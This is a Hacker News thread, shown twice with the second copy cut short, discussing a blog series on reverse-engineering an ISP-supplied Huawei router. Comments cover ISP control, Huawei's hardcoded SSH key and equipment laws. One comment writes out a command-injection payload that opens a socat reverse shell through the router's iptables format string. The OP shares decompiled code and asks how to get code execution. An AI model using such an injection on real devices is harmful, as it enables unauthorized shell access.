15 ms·

A detailed look at the router provided by my ISP

611 points by paddlesteamer 7y ago

non-entity 7y ago
A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers. I dont think the vulnerability was that bad, as you had to be logged in to the web interface already with another account, but still. I don't really trust ISP provided hardware / software now though.
- steerablesafe 7y ago
  You never know. The same technician credentials could potentially work on many routers from the same ISP, maybe even through WAN.
- Bartweiss 7y ago
  > you had to be logged in to the web interface already with another account Obviously I don't know specifics, but if this applies to any router which has multiple tiers of login then it could be a pretty serious problem. I suspect that might be true for routers designed specifically broadcast multiple networks (e.g. school or shared apartment-building routers)?
- praptak 7y ago
  The right thing to do in such circumstances is to publish the vulnerability.
  - ProZsolt 7y ago
    But how do you publish it without the liability of getting sued? A person like me who don't work in security still occasionally find some vulnerability. Sometimes you get angry emails from the company even if you just try to warn them.
    - saagarjha 7y ago
      Publish the angry emails too.
    - praptak 7y ago
      Getting sued for what? Also, you can publish anonymously. Sitting on exploits forever only helps attackers and gives false sense of security to dumb companies.
    - jeroenhd 7y ago
      If you think they'd sue, you can always send the details to a tech journalist specialized in such matters (someone with a proven track record of protecting their sources). Use an anonymous email service to be sure. If something goes wrong, they'll take the thread of legal action and probably win. Companies know that suing journalists often leads to more bad press than cooperating. They can even try to contact the company in question for you if the vulnerability is bad enough. If the company doesn't respond or get their shit together, journalists will get a scoop and the company is forced to fix their shit. If the company does fix their shit, the journalist will still get a story out of it and you can rest easy that you've helped make the internet just a little bit safer for everyone.
blakesterz 7y ago
Interesting read! There's actually 3 parts to this: Part 2: https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-II/ https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already... And 3: https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/ https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already... Summary from the end of Part 3: "So we managed to change passwords for both ssh and telnet, gain access to Root user for the web interface, changed that password too. We changed ACS URL to ours and remove the IP restrictions. To put it simply, we cleaned up our router from our ISP. Good for our privacy."
- sheep-a 7y ago
  You forgot this bit of the summary, which I think is more interesting! "Still there is an authorized ssh key left in the firmware but for now it’s enough that we’re keeping the ISP out. Maybe in the future, we can repack the firmware with our configuration and keys and install it on the router. For now, take care!"
  - Craighead 7y ago
    Huawei implies Chinese intelligence services left that there
- fireattack 7y ago
  The navigation arrows on top right corner seem to be backward. "Next" goes from 2 to 1, instead of 3.
fulafel 7y ago
Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
- c0nsumer 7y ago
  Very true. Yet at the same time, it does route traffic to the appropriate boxes. And the name 'router', when referring to something someone has at their house, has entered the vernacular to mean "the box at home which lets me share the internet connection across all my computers". Most folks have no idea how it works behind the scenes, which typically is a combination of NAT (IPv4), routing (IPv6), DHCP, DNS, UPnP, and more. So, it's just "the router".
- gerdesj 7y ago
  RFC 1918 does allow that the internet was changing rather fast back in 1995 and accepts it probably wont be the final word: https://tools.ietf.org/html/rfc1812#section-1.3.1 https://tools.ietf.org/html/rfc1812#section-1.3.1
- packet_nerd 7y ago
  The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one: * router * firewall * NAT device * modem * switch * access point * DNS resolver * DHCP server And probably others I'm not thinking of :-)
  - qubex 7y ago
    I call them “terminal adapters”, because I’m still stuck in the ISDN age.
  - sandov 7y ago
    ONT in the case of fiber. Don't know if it technically counts as a modem.
    - 7y ago
zeroflow 7y ago
...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future. I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.
- awelkie 7y ago
  If your ISP didn't have that feature, could you just replace the cable modem too? My ISP's router is running EuroDOCSIS 3.0 and I'm wondering if I could replace the router with a modem + router of my own.
  - mercora 7y ago
    if you happened to live in Germany there is a law in place that force ISPs to allow that. But if you would live in Germany you would probably know about this. That said there is no technical reason making it impossible. If you connect an unknown device here, you get access to the customer web panel only and can register your device using it. Afterwards it gets provisioned as usual (with caveats [no PacketCable for example])
  - pmlnr 7y ago
    Yes, you could, but the new router+modem needs to be "accepted" by the DOCSIS provisioning. Talk to the support about it.
  - zeroflow 7y ago
    Sadly I could not, since the ISP is defining the router as the endpoint of it's network so there is no freedom to choose different models.
    - em-bee 7y ago
      practically though what is the difference between having the endpoint in a shaft by the elevator or in your apartment or even down the street? in all scenarios i'd put my own router behind the ISP equipment and run my local network however i want. the only issue is with getting a public ip address for inbound connections. here we are not getting public ip addresses anyways, so the point is moot for me. but if you do get one, then all they need to do is configure their router to forward the public ip to yours. in my case the ISP even installed two routers. one was theirs that i had no access to and one was "ours" that i was able to configure as i liked or replace with my own. both routers had their own wifi, but i don't use the one from the ISP endpoint router
mercora 7y ago
it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefore it might be possible to get real shell access too.
- Faaak 7y ago
  Depends if they `execve` or run the command inside a shell. I'd bet for (1), but who knows.
  - Hello71 7y ago
    redirections aren't parsed by exec....
    - Faaak 7y ago
      Indeed, I read the command's template too fast. Well, in this case it's worrysome
      - Aachen 7y ago
        Controlling arguments without shell often still leads to RCE though, because a lot of software has some flag that runs some command https://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html https://0x90909090.blogspot.com/2015/07/no-one-expect-comman...
- paddlesteamer 7y ago
  Hello, OP here, I've actually spent considerable amount time to find a code execution. I know you'll want to learn details of FUN_004122c0 but here is the decompiled version of iptables part from ghidra: undefined4 FUN_004045a0(int param_1,int param_2) { int iVar1; int iVar2; char pcVar3; char cVar4; code pcVar5; undefined auStack544 [256]; undefined auStack288 [260]; FUN_00412530(auStack544,0,0x100); FUN_00412530(auStack288,0,0x100); if (param_1 == 0) { FUN_004122c0(auStack288,0x100,"iptables > %s 2>&1","/var/IptablesInfo"); } else { iVar1 = FUN_00412210(0x100); if (iVar1 == 0) { return 0x40010009; } cVar4 = '\0'; while ((iVar2 = *param_2, iVar2 != 0 && (cVar4 != '\x10'))) { if (cVar4 == '\0') { FUN_004122c0(iVar1,0x100,0x412c84,iVar2); } else { FUN_004122c0(iVar1,0x100,"%s %s",iVar1,iVar2); } cVar4 = cVar4 + '\x01'; param_2 = param_2 + 1; } FUN_004122c0(auStack288,0x100,"iptables %s > %s 2>&1",iVar1,"/var/IptablesInfo"); FUN_00412660(iVar1); } FUN_00412330(auStack288); iVar1 = FUN_004123c0("/var/IptablesInfo",0x414f68); if (iVar1 == 0) { pcVar5 = FUN_004126e0; pcVar3 = "Fail\r"; } else { while (iVar2 = FUN_00412470(auStack544,0x100,iVar1), iVar2 != 0) { FUN_004126b0(0x412c84,auStack544); FUN_004121a0(0xd); } FUN_00412520(DAT_0042b010); FUN_004123a0(iVar1); pcVar5 = FUN_00412500; pcVar3 = "/var/IptablesInfo"; } (*pcVar5)(pcVar3); return 0; } Any ideas?
Thaxll 7y ago
You're lucky to have an SSH server active, on mine I had to open the router and dump the firmware manually :/
wyclif 7y ago
I'm overseas now, and using one of these crappy ISP-provided routers. I miss my nice Linksys router back home with high-density mesh, tri-band WiFi, and four gigabit ethernet ports.
sloshnmosh 7y ago
I very much enjoyed this! I bookmarked your site and hope to read more of your posts in the future.
jason0597 7y ago
It's funny to think that if you were to report all of your findings to your local newspaper (Turkish newspaper in this case), as to how Turkish ISPs have complete access to your router or how Huawei (China) has an SSH key for your router, people would go absolutely ballistic. But for us it's just another day of expected craziness and we're tired of talking about it
- kuesji 7y ago
  i don't think too many people care about this. ( yes, i live in turkey )
- p1esk 7y ago
  Yeah, no one cares outside of hackernews.
  - blaser-waffle 7y ago
    Hell, I'd imagine my grandmother or other non-tech family would be glad the telephone company can pop in and fix it
- kspacewalk2 7y ago
  Turkish newspapers are almost universally subservient to the autocratic government. Any free press that's still somehow around has way more consequential dictatorial abuses of power to report on, if they dare.
- Someone1234 7y ago
  > how Turkish ISPs have complete access to your router You think it is going to blow people's socks off that a router provided and controlled by an ISP is accessible by that same ISP? Huh? The Huawei SSH key is a little strange, but depressingly common for network equipment, even big names like Cisco[0]. [0] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-nexus9k-sshkey https://tools.cisco.com/security/center/content/CiscoSecurit...
  - 7y ago
miki123211 7y ago
Apparently a polish carrier called Multimedia has recently introduced a new, revolutionary service for some customers. It's called "set up a custom wi-fi configuration", and it's just 5 pln (a little over $1)! It lets you think up of a ssid and password, and configure your router to use those! That's an amazing invention, isn't it? /s Some customers apparently have absolutely no access to their routers, not even to the web interface, and they can't use their own either. All reconfiguration must be done through the customer service portal or by phone. That means the carrier can change for every little thing, including changing the Wi-Fi config! I'm not sure if you can even bridge, but I guess not. Note that this does not affect all customers of that carrier, just a minority.
- gbrown 7y ago
  Couldn't you just daisy chain a second router via Ethernet and use it? Bonus points for VPN-ing all of your traffic.
  - the8472 7y ago
    Daisy-chaining routers is can severely degrade some services (gaming, p2p) due to NAT. Assuming the ISP-provided one supports PCP or UPnP-IGD you need a client on your own router that relays port forwarding configuration to the upstream router. This is possible but may need non-trival setup.
    - pathseeker 7y ago
      PCP that allows ingress connections without an established egress connection is rarely enabled. The same applies to UPnP because of the baddies. https://en.wikipedia.org/wiki/Port_Control_Protocol#Security https://en.wikipedia.org/wiki/Port_Control_Protocol#Security
LeonM 7y ago
In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network. I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephony. This way I have my own equipment, that I control myself. The 'modem' [0] which my ISP supplied is still in its original, unopened box.
- markus92 7y ago
  It's been more common for DSL too, but I haven't heard of anyone using their own DOCSIS modem for Ziggo though. Have you?
- lima 7y ago
  Same in Germany! ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices. As a customer, I like it.
  - pdonis 7y ago
    > ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices. In other words, ISPs hate it because it forces them to actually do their jobs and be ISPs. The Internet itself is "a zoo of endpoints on a shared medium", and ISP stands for Internet Service Provider.
    - saber6 7y ago
      To bolster your point: Honestly they don't need to do much - the infrastructure is already there as a matter of being able to turn people's service up/down/on/off. There is always a provider-managed CPE device that functions as the service demarcation point. This is the point where your contracted service speed is enforced (shape + egress queue and ingress policing). You can have literally whatever router (dumb, smart, next-gen, whatever) spewing bits at X rate. The CPE will essentially normalize (police) that bit rate to your contracted speed (upstream scenario).
PascLeRasc 7y ago
Slightly off-topic: I'd really like to run screenfetch on my router (Asus RT-N66U), but it doesn't have enough free space to sftp the script to it [1]. Piping the script just freezes up. Does anyone know a good workaround? Has anyone ever tried this? [1] https://unix.stackexchange.com/questions/510947/how-can-i-run-a-script-on-a-unix-box-without-enough-space-to-store-it https://unix.stackexchange.com/questions/510947/how-can-i-ru...
- Topgamer7 7y ago
  Check if your router has tmpfs mounted. Iirc thats ram, it should probably have enough space for you to upload it and run it from there.
1_player 7y ago
Very interesting article. What about that precompiled .ssh/authorized_keys with user z00163152@HUAWEI-627FB9A3 mentioned in Part 3? Any reason why a router firmware would permit root access to anyone at all? Definitely sounds like a backdoor to me.
- skoskie 7y ago
  That was the worst part. I would have that bombshell as the lede. And then delete it if possible.
davedx 7y ago
Fantastic write up from a hacking point of view. I did wonder about this statement though: "This is very invasive and unacceptable. It may seem necessary to apply security patches published by your ISP but the user should be able to disable it whenever she wants." Legally, at least in countries where I've lived, the ISP still owns the router. This surprised me a bit when I first found out, but then I got used to the idea, but you should treat any ISP or telecom gear in your house as something that's "rented but still owned and controlled by someone else".
- yjftsjthsd-h 7y ago
  And that is why I have my own router plugged into the ISP router:)
- blacksmith_tb 7y ago
  True, but I think it's worth comparing it to other utilities in your home - what if your electric company could make all your lightbulbs 20% dimmer without notice? Or if your water heater was remotely administered? ISPs, like mobile telcos, like to claim they must have control over your hardware "for security" but I think the most charitable interpretation is that it's to make their customer service dept. sweat less (more nefarious possibilities exist, of course).
  - CJefferson 7y ago
    The difference is that non-updated routers can cause global problems. At the very least as an ISP I'd want to say you can look after updates yourself, but we will disable your access to the internet (other than to get the update from us) whenever we try to push an update to you and you reject it.
  - ProZsolt 7y ago
    This is why I like separate modems, so there is a clear border between you and the ISP. Sadly currently most of the providers only give you AIOs.
jscholes 7y ago
Enjoyed this write-up, but most of the exploration seemed to be facilitated by someone having already leaked the CLI root password online. Anyone have suggestions on how you might otherwise obtain that information?
- paddlesteamer 7y ago
  Hi, OP here, actually it's not true. Think the scenario as this: you don't have the CLI root password, you just do a MitM attack and learn about root password when your ISP attempts to change it. This applies my situation, also I could learn about the default password just by looking into the firmware.
j_h 7y ago
EU net neutrality regulation grants end users right to use their own equipment. https://fsfe.org/activities/routers/ https://fsfe.org/activities/routers/
- Someone1234 7y ago
  Turkey isn't in the EU.
  - anticensor 7y ago
    IANAL, but Turkcell would lose the case in Turkey too. This is not due to net neutrality regulations (Turkey deliberately lacks it), but due to case law arisen from competition and customer rights regulations. However, telcos work around that too, by "leasing" modems, like telephone divisions did in the past. Does the trick of "leasing" work in the EU too?
    - mercora 7y ago
      in marketing they try hard to make it sound like what you are going to get by renting their device is WiFi not just the ability to turn on WiFi functionality of the CPE. of course everybody wants that but most people don't get that's not something that has to be provided by the ISP. I am not sure if its required, but i have seen often a lower end device (without WiFi accessible) is given for the lifetime of the contract free of charge. in Germany you have the right to use a compatible device you own yourself. However my ISP Vodafone does not accept lots of modems as compatible and when this regulation started there were basically none you could actually buy. Its not much better now i guess but i distress. EDIT: reading your comment again the trick you mentioned probably works because its "yours" when you lease it instead of renting it?
      - anticensor 7y ago
        Not instead of renting, but of selling.
- mercora 7y ago
ege_erdogan 7y ago
I am using the exact same router from the same ISP. I was wondering what the problem was when I wasn't able to forward port 22 to my computer for an SSH connection. I had thought it had something to with the ISP allocating the same static IP to multiple clients and blocking some common ports to prevent collisions (ended up using port 109.. something for SSH). Turns out it was more interesting!
gumby 7y ago
I clicked through to the two follow ups — this is both excellent sleuthery and a wonderful write up.
AdmiralAsshat 7y ago
I never thought to nmap my own router until reading this. PORT STATE SERVICE 53/tcp open domain 80/tcp open http 631/tcp open ipp 5000/tcp open upnp 7777/tcp open cbt 20005/tcp open btx Now begins the three-hours-and-counting rabbit hole of trying to figure out what the hell is running on ports 7777 and 20005. Or why UPNP is apparently running, despite UPNP being explicitly disabled on the Netgear router's admin page.
- manifoldgeo 7y ago
  Maybe it's a remote administration port for your ISP. I have a router provided by Froniter, formerly Verizon FiOS, where port 4567 is always open and cannot be closed with a firewall rule from the router's web UI (grayed out). After some googling I found out that it's their maintenance port: https://www.speedguide.net/port.php?port=4567 https://www.speedguide.net/port.php?port=4567 For a while I had my own OpenWRT router in place of the ISP one, but I think they got wise to it and blocked the MAC. I changed it to match the ISP router's MAC address, but it only worked for about 3 minutes before being blocked again.
  - AdmiralAsshat 7y ago
    I bought both my modem and my router, so I'd be a little incredulous if my ISP had somehow forced a port open on it. The 20005 one may be some port that NetGear uses for its USB Printing, I've found some articles that mention it. It also struck me that I hit it with nmap using the LAN IP, so perhaps these are only open within the network. I probably need to hit the external IP of the router to see what is externally open. ShieldsUP! didn't show anything unusual.[1] EDIT: Disclosure of a vulnerability regarding port 20005[2], and Netgear confirming that it does affect my router[3], but should have been fixed. I assume the "fix" was fixing the buffer overflow vulnerability, rather than closing the port altogether. [1] https://www.grc.com/x/ne.dll?bh0bkyd2 https://www.grc.com/x/ne.dll?bh0bkyd2 [2] https://www.kb.cert.org/vuls/id/177092/ https://www.kb.cert.org/vuls/id/177092/ [3] https://kb.netgear.com/28393/NETGEAR-Product-Vulnerability-Advisory-ReadySHARE https://kb.netgear.com/28393/NETGEAR-Product-Vulnerability-A...
mafuy 7y ago
Many people here pointed out a problem: Removing access for the ISP and/or device manufacturer means they cannot fix bugs remotely and automatically. This is bad in situations like when the Mirai malware hit. How about this?: "You can use your own device and we provide all required information, but there will be no advanced support and you have to check for bugfixes yourself monthly." ... now that I wrote it, I see the answer: There is no way to enforce this, especially not reliably.
- marcosdumay 7y ago
  Ok, from the Wikipedia: > Mirai then identifies vulnerable IoT devices using a table of more than 60 common factory default usernames and passwords Taking control of the device is exactly the kind of thing that stops that attack.
lxe 7y ago
> After looking into folders, I found some interesting files. I won’t go through them here but I want to mention just one of them: [$ cat etc/ssh/authorized_keys]. Maybe an engineer from Huawei (I assume z00163152@HUAWEI-627FB9A3) who owns a specific DSS key, can connect all HG253s routers without needing a password, who knows? Who knows indeed?!
0xff00ffee 7y ago
Why did port 8015 show up on the remote system after resetting firmware? Shouldn't nmap have reported that?
- usmannk 7y ago
  It was a “fast nmap”, so only the top 100 most common ports were checked.
  - 0xff00ffee 7y ago
    Ah, thanks. If nmap was run exhaustively on all 64k ports, would that both (a) take forever, and (b) raise alarm bells on the target? Why isn't a full scan the norm?
    - usmannk 7y ago
      Yes to both of those (but not thaaat long). But in this case I still would have ran an exhaustive nmap because it's a device on my local network rather than a remote server.
k__ 7y ago
The only router with good admin interface I ever had was one with open source software. Every other router, for 20 years now, had a slow and buggy web interface. Why is this?!
skizm 7y ago
My ISP has a cloud access "feature". If I go to 192.168.1.1 it redirects me to their "router.MYISP.net" site. What's the best way to go about disabling this? Should I just dump the rented router for my own?
- simplyinfinity 7y ago
  asus (and others) have the same feature. In my case it's a simple redirect from the ip of 192.168.1.1 to router.myasus.com which has a dns record of 192.168.1.1. so all it does is do a redirect to a domain.
tibbydudeza 7y ago
Wow some good detective skills at work here , got a similar Huawei HG635 from my provider ... kept it because it supports LTE cutover. Fortunately some kind person leaked the admin password so that I could configure it to my liking.
stevespang 7y ago
If you are in Turkey, Egodan's boys are spying on EVERYONE,especially after the attempted coup. Huawei is happy to provide spying through the router to Ergodan's Boogiemen - - in fact, several of them are probably next room over from you watching your screen now . . .
hestefisk 7y ago
My ISP (Internode) provide a ‘modem’ for my NBN hybrid coax / fibre connection. I just put my OPNSense router in front of it and it’s all secure. They provided me with all the config settings, which are a bit more obscure than usual (PPPoE but on a specific vlan tag). Works like a charm and I don’t have to worry about weird government wiretapping or backdoors. My ISP provide an IPv6 range too, which is pretty cool.
greatjack613 7y ago
Finally some proof that Huawei does have back doors in their network equipment. In part 3 https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/ https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already... the author rights that a Huawei engineer has an authorized ssh key that would allow them to access your router. Just Wow!

611 points by paddlesteamer 7y ago

A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers. I dont think the vulnerability was that bad, as you had to be logged in to the web interface already with another account, but still. I don't really trust ISP provided hardware / software now though.

steerablesafe 7y ago
You never know. The same technician credentials could potentially work on many routers from the same ISP, maybe even through WAN.
Bartweiss 7y ago
> you had to be logged in to the web interface already with another account Obviously I don't know specifics, but if this applies to any router which has multiple tiers of login then it could be a pretty serious problem. I suspect that might be true for routers designed specifically broadcast multiple networks (e.g. school or shared apartment-building routers)?
praptak 7y ago
The right thing to do in such circumstances is to publish the vulnerability.
- ProZsolt 7y ago
  But how do you publish it without the liability of getting sued? A person like me who don't work in security still occasionally find some vulnerability. Sometimes you get angry emails from the company even if you just try to warn them.
  - saagarjha 7y ago
    Publish the angry emails too.
  - praptak 7y ago
    Getting sued for what? Also, you can publish anonymously. Sitting on exploits forever only helps attackers and gives false sense of security to dumb companies.
  - jeroenhd 7y ago
    If you think they'd sue, you can always send the details to a tech journalist specialized in such matters (someone with a proven track record of protecting their sources). Use an anonymous email service to be sure. If something goes wrong, they'll take the thread of legal action and probably win. Companies know that suing journalists often leads to more bad press than cooperating. They can even try to contact the company in question for you if the vulnerability is bad enough. If the company doesn't respond or get their shit together, journalists will get a scoop and the company is forced to fix their shit. If the company does fix their shit, the journalist will still get a story out of it and you can rest easy that you've helped make the internet just a little bit safer for everyone.

blakesterz 7y ago

Interesting read! There's actually 3 parts to this: Part 2: https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-II/ https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already... And 3: https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/ https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already... Summary from the end of Part 3: "So we managed to change passwords for both ssh and telnet, gain access to Root user for the web interface, changed that password too. We changed ACS URL to ours and remove the IP restrictions. To put it simply, we cleaned up our router from our ISP. Good for our privacy."

sheep-a 7y ago
You forgot this bit of the summary, which I think is more interesting! "Still there is an authorized ssh key left in the firmware but for now it’s enough that we’re keeping the ISP out. Maybe in the future, we can repack the firmware with our configuration and keys and install it on the router. For now, take care!"
- Craighead 7y ago
  Huawei implies Chinese intelligence services left that there
fireattack 7y ago
The navigation arrows on top right corner seem to be backward. "Next" goes from 2 to 1, instead of 3.

fulafel 7y ago

Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.

c0nsumer 7y ago
Very true. Yet at the same time, it does route traffic to the appropriate boxes. And the name 'router', when referring to something someone has at their house, has entered the vernacular to mean "the box at home which lets me share the internet connection across all my computers". Most folks have no idea how it works behind the scenes, which typically is a combination of NAT (IPv4), routing (IPv6), DHCP, DNS, UPnP, and more. So, it's just "the router".
gerdesj 7y ago
RFC 1918 does allow that the internet was changing rather fast back in 1995 and accepts it probably wont be the final word: https://tools.ietf.org/html/rfc1812#section-1.3.1 https://tools.ietf.org/html/rfc1812#section-1.3.1
packet_nerd 7y ago
The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one: * router * firewall * NAT device * modem * switch * access point * DNS resolver * DHCP server And probably others I'm not thinking of :-)
- qubex 7y ago
  I call them “terminal adapters”, because I’m still stuck in the ISDN age.
- sandov 7y ago
  ONT in the case of fiber. Don't know if it technically counts as a modem.
  - 7y ago

zeroflow 7y ago

...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future. I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.

awelkie 7y ago
If your ISP didn't have that feature, could you just replace the cable modem too? My ISP's router is running EuroDOCSIS 3.0 and I'm wondering if I could replace the router with a modem + router of my own.
- mercora 7y ago
  if you happened to live in Germany there is a law in place that force ISPs to allow that. But if you would live in Germany you would probably know about this. That said there is no technical reason making it impossible. If you connect an unknown device here, you get access to the customer web panel only and can register your device using it. Afterwards it gets provisioned as usual (with caveats [no PacketCable for example])
- pmlnr 7y ago
  Yes, you could, but the new router+modem needs to be "accepted" by the DOCSIS provisioning. Talk to the support about it.
- zeroflow 7y ago
  Sadly I could not, since the ISP is defining the router as the endpoint of it's network so there is no freedom to choose different models.
  - em-bee 7y ago
    practically though what is the difference between having the endpoint in a shaft by the elevator or in your apartment or even down the street? in all scenarios i'd put my own router behind the ISP equipment and run my local network however i want. the only issue is with getting a public ip address for inbound connections. here we are not getting public ip addresses anyways, so the point is moot for me. but if you do get one, then all they need to do is configure their router to forward the public ip to yours. in my case the ISP even installed two routers. one was theirs that i had no access to and one was "ours" that i was able to configure as i liked or replace with my own. both routers had their own wifi, but i don't use the one from the ISP endpoint router

mercora 7y ago

it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefore it might be possible to get real shell access too.

Faaak 7y ago
Depends if they `execve` or run the command inside a shell. I'd bet for (1), but who knows.
- Hello71 7y ago
  redirections aren't parsed by exec....
  - Faaak 7y ago
    Indeed, I read the command's template too fast. Well, in this case it's worrysome
    - Aachen 7y ago
      Controlling arguments without shell often still leads to RCE though, because a lot of software has some flag that runs some command https://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html https://0x90909090.blogspot.com/2015/07/no-one-expect-comman...
paddlesteamer 7y ago
Hello, OP here, I've actually spent considerable amount time to find a code execution. I know you'll want to learn details of FUN_004122c0 but here is the decompiled version of iptables part from ghidra: undefined4 FUN_004045a0(int param_1,int param_2) { int iVar1; int iVar2; char pcVar3; char cVar4; code pcVar5; undefined auStack544 [256]; undefined auStack288 [260]; FUN_00412530(auStack544,0,0x100); FUN_00412530(auStack288,0,0x100); if (param_1 == 0) { FUN_004122c0(auStack288,0x100,"iptables > %s 2>&1","/var/IptablesInfo"); } else { iVar1 = FUN_00412210(0x100); if (iVar1 == 0) { return 0x40010009; } cVar4 = '\0'; while ((iVar2 = *param_2, iVar2 != 0 && (cVar4 != '\x10'))) { if (cVar4 == '\0') { FUN_004122c0(iVar1,0x100,0x412c84,iVar2); } else { FUN_004122c0(iVar1,0x100,"%s %s",iVar1,iVar2); } cVar4 = cVar4 + '\x01'; param_2 = param_2 + 1; } FUN_004122c0(auStack288,0x100,"iptables %s > %s 2>&1",iVar1,"/var/IptablesInfo"); FUN_00412660(iVar1); } FUN_00412330(auStack288); iVar1 = FUN_004123c0("/var/IptablesInfo",0x414f68); if (iVar1 == 0) { pcVar5 = FUN_004126e0; pcVar3 = "Fail\r"; } else { while (iVar2 = FUN_00412470(auStack544,0x100,iVar1), iVar2 != 0) { FUN_004126b0(0x412c84,auStack544); FUN_004121a0(0xd); } FUN_00412520(DAT_0042b010); FUN_004123a0(iVar1); pcVar5 = FUN_00412500; pcVar3 = "/var/IptablesInfo"; } (*pcVar5)(pcVar3); return 0; } Any ideas?

Thaxll 7y ago

You're lucky to have an SSH server active, on mine I had to open the router and dump the firmware manually :/

wyclif 7y ago

I'm overseas now, and using one of these crappy ISP-provided routers. I miss my nice Linksys router back home with high-density mesh, tri-band WiFi, and four gigabit ethernet ports.

sloshnmosh 7y ago

I very much enjoyed this! I bookmarked your site and hope to read more of your posts in the future.

jason0597 7y ago

It's funny to think that if you were to report all of your findings to your local newspaper (Turkish newspaper in this case), as to how Turkish ISPs have complete access to your router or how Huawei (China) has an SSH key for your router, people would go absolutely ballistic. But for us it's just another day of expected craziness and we're tired of talking about it

kuesji 7y ago
i don't think too many people care about this. ( yes, i live in turkey )
p1esk 7y ago
Yeah, no one cares outside of hackernews.
- blaser-waffle 7y ago
  Hell, I'd imagine my grandmother or other non-tech family would be glad the telephone company can pop in and fix it
kspacewalk2 7y ago
Turkish newspapers are almost universally subservient to the autocratic government. Any free press that's still somehow around has way more consequential dictatorial abuses of power to report on, if they dare.
Someone1234 7y ago
> how Turkish ISPs have complete access to your router You think it is going to blow people's socks off that a router provided and controlled by an ISP is accessible by that same ISP? Huh? The Huawei SSH key is a little strange, but depressingly common for network equipment, even big names like Cisco[0]. [0] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-nexus9k-sshkey https://tools.cisco.com/security/center/content/CiscoSecurit...
- 7y ago

miki123211 7y ago

Apparently a polish carrier called Multimedia has recently introduced a new, revolutionary service for some customers. It's called "set up a custom wi-fi configuration", and it's just 5 pln (a little over $1)! It lets you think up of a ssid and password, and configure your router to use those! That's an amazing invention, isn't it? /s Some customers apparently have absolutely no access to their routers, not even to the web interface, and they can't use their own either. All reconfiguration must be done through the customer service portal or by phone. That means the carrier can change for every little thing, including changing the Wi-Fi config! I'm not sure if you can even bridge, but I guess not. Note that this does not affect all customers of that carrier, just a minority.

gbrown 7y ago
Couldn't you just daisy chain a second router via Ethernet and use it? Bonus points for VPN-ing all of your traffic.
- the8472 7y ago
  Daisy-chaining routers is can severely degrade some services (gaming, p2p) due to NAT. Assuming the ISP-provided one supports PCP or UPnP-IGD you need a client on your own router that relays port forwarding configuration to the upstream router. This is possible but may need non-trival setup.
  - pathseeker 7y ago
    PCP that allows ingress connections without an established egress connection is rarely enabled. The same applies to UPnP because of the baddies. https://en.wikipedia.org/wiki/Port_Control_Protocol#Security https://en.wikipedia.org/wiki/Port_Control_Protocol#Security

LeonM 7y ago

In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network. I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephony. This way I have my own equipment, that I control myself. The 'modem' [0] which my ISP supplied is still in its original, unopened box.

markus92 7y ago
It's been more common for DSL too, but I haven't heard of anyone using their own DOCSIS modem for Ziggo though. Have you?
lima 7y ago
Same in Germany! ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices. As a customer, I like it.
- pdonis 7y ago
